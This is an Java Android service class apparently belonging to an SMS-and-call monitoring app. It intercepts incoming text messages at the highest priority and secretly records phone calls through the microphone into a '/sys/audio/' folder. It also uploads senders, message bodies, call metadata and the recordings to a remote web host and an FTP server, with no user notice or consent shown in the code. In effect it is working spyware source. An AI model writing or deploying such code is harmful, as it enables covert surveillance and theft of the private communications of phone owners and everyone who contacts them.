package org.ishequ.smslistener;

import java.io.File;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.ishequ.db.PhoneDBService;
import org.ishequ.db.SMSDBService;
import org.ishequ.domain.ConnectionState;
import org.ishequ.domain.MessageItem;
import org.ishequ.domain.PhoneCall;
import org.ishequ.domain.SMS;
import org.ishequ.domain.ServerInfo;
import org.ishequ.domain.ShortMessage;
import org.ishequ.net.FTPUpload;
import org.ishequ.utils.DateUtil;
import org.ishequ.utils.StreamTool;
import org.json.JSONObject;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.media.MediaRecorder;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.telephony.PhoneStateListener;
import android.telephony.SmsMessage;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

public class TelService extends Service {

	private static String LOG_TAG = "SMSService";
	
	public static final int SMS_UPLOAD_OR_SAVE = 1;
	public static final int SMS_UPLOAD = 2;
	public static final int PHONE_UPLOAD = 3;

	private SMSDBService smsdbService;
	private PhoneDBService phonedbService;
	private List<ShortMessage> messages = null;
	private ConnectionState cs = null;
	private Context context = null;
	private ServerInfo serverInfo = null;
	private List<PhoneCall> calls = null;
	
	private SMSObserver smsObserver;
	private ContentResolver contentResolver;

	@Override
	public void onCreate() {
		Log.i(LOG_TAG, "SMSService onCreate");
		
		//注册短信Uri数据状态变化监听
		contentResolver = this.getContentResolver();
		SMSHandler smsHandler = new SMSHandler(this.getApplicationContext());
		smsObserver = new SMSObserver(contentResolver, smsHandler);
		contentResolver.registerContentObserver(SMS.CONTNET_URI, true,
				smsObserver);
		
		//动态注册短信广播接收者类(自定义内部类)
		IntentFilter filter = new IntentFilter();
		filter.addAction("android.provider.Telephony.SMS_RECEIVED");
		filter.setPriority(Integer.MAX_VALUE);
		registerReceiver(new SMSBroadcastReceiver(), filter);
		
		//动态注册网络变化广播接收者类(自定义内部类)
		filter = new IntentFilter();
		filter.addAction("android.net.conn.CONNECTIVITY_CHANGE");
		filter.setPriority(Integer.MAX_VALUE);
		registerReceiver(new NetworkConnectionBroadcastReceiver(), filter);
		
		context = getApplicationContext();
		cs = ConnectionState.getInstance(context);
		smsdbService = new SMSDBService(context);
		
		phonedbService = new PhoneDBService(context);
		cs = ConnectionState.getInstance(context);
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
	}

	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		Log.i("SMSBroadcastReceiver","onStartCommand");
		return super.onStartCommand(intent, flags, startId);
	}
	
	/**
	 * TelephonyManager Listener
	 * 监听电话状态(响铃、接听、挂断)
	 * @author jcf
	 *
	 */
	private final class PhoneListener extends PhoneStateListener {

		private String incomingNumber;
		private MediaRecorder recorder;
		private Date receiveTime = null;
		private File file = null;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try{
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING: //来电
					this.incomingNumber = incomingNumber;
					Log.i(LOG_TAG, this.incomingNumber+" RINGING...");
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: //接通
					file = new File(Environment.getExternalStorageDirectory()+"/sys/audio/");
					if(!file.exists()) file.mkdirs();
					file = new File(Environment.getExternalStorageDirectory()+"/sys/audio/"+
							incomingNumber+"_"+new SimpleDateFormat("yyyyMMddHHmm").format(new Date())
							+".3gp");
					recorder = new MediaRecorder();
					recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					recorder.setOutputFile(file.getAbsolutePath());
					recorder.prepare();
					recorder.start();   // Recording is now started
					Log.i(LOG_TAG, incomingNumber+"Recording...");
					receiveTime = DateUtil.getCurrentDateTime();
					break;
				case TelephonyManager.CALL_STATE_IDLE: //挂断
					if(recorder != null){
						Log.i(LOG_TAG, "Recorded!");
						recorder.stop();
						recorder.release(); 
						recorder = null;
						//构成对象
						TelephonyManager telephonyManager = (TelephonyManager) getApplicationContext().getSystemService(TELEPHONY_SERVICE);
						String receiver = telephonyManager.getLine1Number();
						long duration = (DateUtil.getCurrentDateTime().getTime() - receiveTime.getTime())/1000;
						PhoneCall call = new PhoneCall(receiver, this.incomingNumber, receiveTime, duration, file.getName(),file.length());
						long id = save(call);//保存到本地数据库ishequ.db
						call.setId(id);
						calls = new ArrayList<PhoneCall>();
						calls.add(call);
						//判断网络连接状态        wifi
						if(cs.isConnected() && !"wifi".equalsIgnoreCase(cs.getConnType())){
							//上传基本信息
							sendPhone();
							//上传语音文件
							getServerInfo(cs.getSessionId());
							if(serverInfo != null){
								uploadFile();
							}
						}
					}
					break;
				}
			}catch (Exception e){
				e.printStackTrace();
			}
			super.onCallStateChanged(state, incomingNumber);
		}
	}
	
	/**
	 * 具体操作方法
	 * @param option
	 * @param extras
	 */
	private void doOptions(int option,Bundle extras){
		switch (option) {
		case SMS_UPLOAD_OR_SAVE: // 接收短信
			Object[] pdus = (Object[]) extras.get("pdus");
			if(messages == null)
				messages = new ArrayList<ShortMessage>();
			for (int i = 0; i < pdus.length; i++) {
				// 构成对象
				SmsMessage message = SmsMessage.createFromPdu((byte[]) pdus[i]);
				String fromAddress = message.getOriginatingAddress();
				String messageBody = message.getMessageBody().toString();
				Date date = new Date(message.getTimestampMillis());
				TelephonyManager telephonyManager = (TelephonyManager) getApplicationContext()
						.getSystemService(TELEPHONY_SERVICE);
				String receiver = telephonyManager.getLine1Number();
				ShortMessage sms = new ShortMessage(receiver, fromAddress,
						date, messageBody);
				messages.add(sms);
			}
			uploadOrSave();
			break;
		case SMS_UPLOAD:
			try {
				if(messages == null)
					messages = new ArrayList<ShortMessage>();
				messages.addAll(smsdbService.query("", null));
			} catch (ParseException e) {
				e.printStackTrace();
			}
			Log.i("SMSBroadcastReceiver", "These are " + messages.size()
					+ " message(s) in unsend stack.");
			sendSMS();
			break;
		case PHONE_UPLOAD:
			calls = new ArrayList<PhoneCall>();
			try {
				calls = phonedbService.query("uploadTag=?1", new String[]{String.valueOf(false)});
			} catch (ParseException e) {
				e.printStackTrace();
			}
			Log.i(LOG_TAG, "sendPhone()");
			sendPhone();
			
			calls = new ArrayList<PhoneCall>();
			try {
				calls = phonedbService.query("length - uploadPos > 0", null);
			} catch (ParseException e) {
				e.printStackTrace();
			}
			Log.i(LOG_TAG, "uploadFile()");
			getServerInfo(cs.getSessionId());
			if(serverInfo != null){
				uploadFile();
			}
			break;
		}
	}

	private void uploadOrSave() {
		// 判断网络连接状态
		if (cs.isConnected()) {
			Log.i("SMSBroadcastReceiver", "NetWorkAvailable");
			sendSMS();
		} else {
			Log.i("SMSBroadcastReceiver", "NetWorkInAvailable");
			// 保存到数据库
			save(messages);
		}
	}

	/**
	 * 推送短信
	 */
	private void sendSMS() {
		new Thread(new Runnable() {
			public void run() {
				try {
					URL url = new URL(ConnectionState.WEB_HOST
							+ "control/android/sms/add");
					SimpleDateFormat dateFormat = new SimpleDateFormat(
							"yyyy-MM-dd HH:mm:ss");
					for (ShortMessage sms : messages) {
						String params = "receiver="
								+ URLEncoder.encode(sms.getReceiver(), "UTF-8")
								+ "&sender="
								+ URLEncoder.encode(sms.getSender(), "UTF-8")
								+ "&content="
								+ URLEncoder.encode(sms.getContent(), "UTF-8")
								+ "&receiveTime="
								+ URLEncoder.encode(dateFormat.format(sms
										.getReceiveTime()), "UTF-8");
						byte[] entity = params.getBytes();
						Log.i("SMSBroadcastReceiver", "receiveTime:"
								+ dateFormat.format(sms.getReceiveTime()));
						HttpURLConnection conn = (HttpURLConnection) url
								.openConnection();
						conn.setReadTimeout(5 * 1000);
						conn.setRequestMethod("POST");
						conn.setDoOutput(true);
						conn.setRequestProperty("Content-Type",
								"application/x-www-form-urlencoded");
						conn.setRequestProperty("Content-Length", String
								.valueOf(entity.length));
						conn.setRequestProperty("Cookie", cs.getSessionId());
						conn.getOutputStream().write(entity);
						if (conn.getResponseCode() == 200) {
							Log.i("SMSBroadcastReceiver", sms
											+ "send success!");
							if (sms.getId() != 0)
								smsdbService.delete(sms.getId());
						} else {
							Log.i("SMSBroadcastReceiver", "send fail! "
									+ conn.getResponseCode());
							cs.connectionIni();
							break;
						}
					}
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}).start();
	}
	
	/**
	 * 推送电话信息
	 */
	private void sendPhone() {
		new Thread(new Runnable() {	
			public void run() {
				try{
					URL url = new URL(ConnectionState.WEB_HOST+"control/android/phone/add");
					int len = calls.size();
					while(--len>-1 && cs.isConnected()){
						PhoneCall call = calls.get(len);
						String params = "receiver="+URLEncoder.encode(call.getReceiver(), "UTF-8")
						+"&sender="+URLEncoder.encode(call.getSender(), "UTF-8")
						+"&duration="+URLEncoder.encode(String.valueOf(call.getDuration()), "UTF-8")
						+"&receiveTime="+URLEncoder.encode(DateUtil.dateToString(call.getReceiveTime(),"yyyy-MM-dd HH:mm:ss"), "UTF-8")
						+"&audioName="+URLEncoder.encode(call.getAudioName(), "UTF-8")
						+"&uploadPos="+URLEncoder.encode(String.valueOf(call.getUploadPos()), "UTF-8")
						+"&length="+URLEncoder.encode(String.valueOf(call.getLength()), "UTF-8")
						+"&androidId="+URLEncoder.encode(String.valueOf(call.getId()), "UTF-8")
						+"&uploadTag=true";
						byte[] entity = params.getBytes();
						HttpURLConnection conn = (HttpURLConnection) url.openConnection();
						conn.setReadTimeout(5 * 1000);
						conn.setRequestMethod("POST");
						conn.setDoOutput(true);
						conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
						conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
						conn.setRequestProperty("Cookie", cs.getSessionId());
						conn.getOutputStream().write(entity);
						if(conn.getResponseCode() == 200){
							Log.i(LOG_TAG, call + "send success!");
							call.setUploadTag(true);
							phonedbService.update(call);
						}else {
							Log.i("SMSBroadcastReceiver", call +" send fail ! responseCode:"+conn.getResponseCode());
							cs.connectionIni();
						}
					}
				}catch(Exception e){
					e.printStackTrace();
				}
			}
		}).start();
	}
	
	/**
	 * 获取服务器信息，用于FTP上传
	 * @param sessionId
	 */
	private void getServerInfo(String sessionId) {
		try{
			URL url = new URL(ConnectionState.WEB_HOST+"control/android/serverinfo");
			HttpURLConnection conn = (HttpURLConnection) url.openConnection();
			conn.setReadTimeout(5 * 1000);
			conn.setRequestMethod("POST");
			conn.setDoOutput(true);
			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			conn.setRequestProperty("Content-Length", "0");
			conn.setRequestProperty("Cookie", sessionId);
			if(conn.getResponseCode() == 200){
				Log.i(LOG_TAG, "getSocketServerInfo success!");
				InputStream bis = conn.getInputStream();
				String json = new String(StreamTool.readStream(bis),"UTF-8");
				JSONObject object = new JSONObject(json);
				serverInfo = new ServerInfo();
				serverInfo.setIp(object.getJSONObject("serverInfo").getString("ip"));
				serverInfo.setName(object.getJSONObject("serverInfo").getString("name"));
				serverInfo.setOsName(object.getJSONObject("serverInfo").getString("osName"));
				serverInfo.setOsVersion(object.getJSONObject("serverInfo").getString("osVersion"));
				serverInfo.setFTPUser(object.getJSONObject("serverInfo").getString("FTPUser"));
				serverInfo.setFTPPass(object.getJSONObject("serverInfo").getString("FTPPass"));
				serverInfo.setSavePath(object.getJSONObject("serverInfo").getString("savePath"));
			} else {
				Log.i(LOG_TAG, "getSocketServerInfo fail! "+conn.getResponseCode());
				cs.connectionIni();
			}
		}catch(Exception e){
			e.printStackTrace();
		}
	}
	
	/**
	 * 开线程上传录音文件
	 */
	private void uploadFile() {
		new Thread(new UploadAudio()).start();
	}
	
	/**
	 * FTP上传文件
	 * @author jcf
	 *
	 */
    private class UploadAudio implements Runnable {
		String host = serverInfo.getIp();
		int port = 21;
		String uname = serverInfo.getFTPUser();
		String pwd = serverInfo.getFTPPass();
		FTPUpload ftpUpload = new FTPUpload(phonedbService,cs);
		
		public void run() {
			int len = calls.size();
			try {
				ftpUpload.connect(host, port, uname, pwd);
				while(--len>-1 && cs.isConnected()){
					PhoneCall call = calls.get(len);
					ftpUpload.upload(call,serverInfo.getSavePath(),call.getUploadPos());
				}
				ftpUpload.disconnect();
			} catch (Exception e) {  
	            e.printStackTrace();
	        }
		}
	}

    /**
     * 保存短信到本地
     * @param msges
     */
	private void save(List<ShortMessage> msges) {
		Log.i("SMSBroadcastReceiver", "save");
		for (ShortMessage sms : msges) {
			smsdbService.insert(sms);
		}
	}
	
	/**
	 * 保存电话信息到本地
	 * @param call
	 * @return
	 */
	private long save(PhoneCall call){
		Log.i(LOG_TAG, "one call(s) saveing...");
		return phonedbService.insert(call);
	}

	@Override
	public void onDestroy() {
		Log.i("SMSBroadcastReceiver", "SMSService onDestroy");
		super.onDestroy();
		contentResolver.unregisterContentObserver(smsObserver);
	}

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}
	
	/**
	 * 短信广播接受者(内部类)
	 */
	private class SMSBroadcastReceiver extends BroadcastReceiver {
		public void onReceive(Context context, Intent intent) {
			Log.i(LOG_TAG, "SMSBroadcastReceiver onReceived.");
			Bundle extras = intent.getExtras();
	        if (extras == null) return;
	        doOptions(SMS_UPLOAD_OR_SAVE, extras);
		}
	}
	/**
	 * 网络变化广播接受者(内部类)
	 */
	private class NetworkConnectionBroadcastReceiver extends BroadcastReceiver {
		public void onReceive(Context context, Intent intent) {
			cs.connectionIni();
			if(cs.isConnected()){
				doOptions(SMS_UPLOAD, null);
				doOptions(PHONE_UPLOAD, null);
			}
		}
	}
	
	/**
	 * Handler 主线程中handler
	 * @author jcf
	 *
	 */
	private final class SMSHandler extends Handler {
		private Context context;
		
		public SMSHandler(Context context){
			this.context = context;
		}
		
		@Override
		public void handleMessage(Message msg) {
			MessageItem item = (MessageItem) msg.obj;
			if(messages == null)
				messages = new ArrayList<ShortMessage>();
			messages.add(new ShortMessage(item.getPhone(),"",DateUtil.getCurrentDateTime(),item.getBody()));
			uploadOrSave();
		}
	}
	
}
